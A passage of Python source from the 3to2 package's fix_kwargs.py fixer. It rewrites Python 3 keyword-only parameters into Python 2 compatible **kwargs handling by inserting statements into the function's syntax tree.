[STAR, NAME, COMMA, NAME, COMMA, DOUBLESTAR, NAME] or # [STAR, COMMA, NAME], or [STAR, COMMA, NAME, COMMA, DOUBLESTAR, NAME] # Anatomy of a funcdef: ['def', 'name', parameters, ':', suite] # Anatomy of that suite: [NEWLINE, INDENT, first_stmt, all_other_stmts] # We need to insert our new stuff before the first_stmt and change the # first_stmt's prefix. suite = node.children[4] first_stmt = suite.children[2] ident = indentation(first_stmt) for name, default_value in gen_params(params_rawlist): if default_value is None: suite.insert_child(2, Newline()) suite.insert_child(2, String(_assign_template %{'name':name, 'kwargs':new_kwargs}, prefix=ident)) else: suite.insert_child(2, Newline()) suite.insert_child(2, String(_else_template %{'name':name, 'default':default_value}, prefix=ident)) suite.insert_child(2, Newline()) suite.insert_child(2, String(_if_template %{'assign':_assign_template %{'name':name, 'kwargs':new_kwargs}, 'name':name, 'kwargs':new_kwargs}, prefix=ident)) first_stmt.prefix = ident suite.children[2].prefix = "" # Now, we need to fix up the list of params. must_add_kwargs = remove_params(params_rawlist) if must_add_kwargs: arglist = results['arglist'] if len(arglist.children) > 0 and arglist.children[-1].type != token.COMMA: arglist.append_child(Comma()) arglist.append_child(DoubleStar(prefix=" ")) arglist.append_child(Name(new_kwargs))
3to2
/3to2-1.1.1.zip/3to2-1.1.1/lib3to2/fixes/fix_kwargs.py
fix_kwargs.py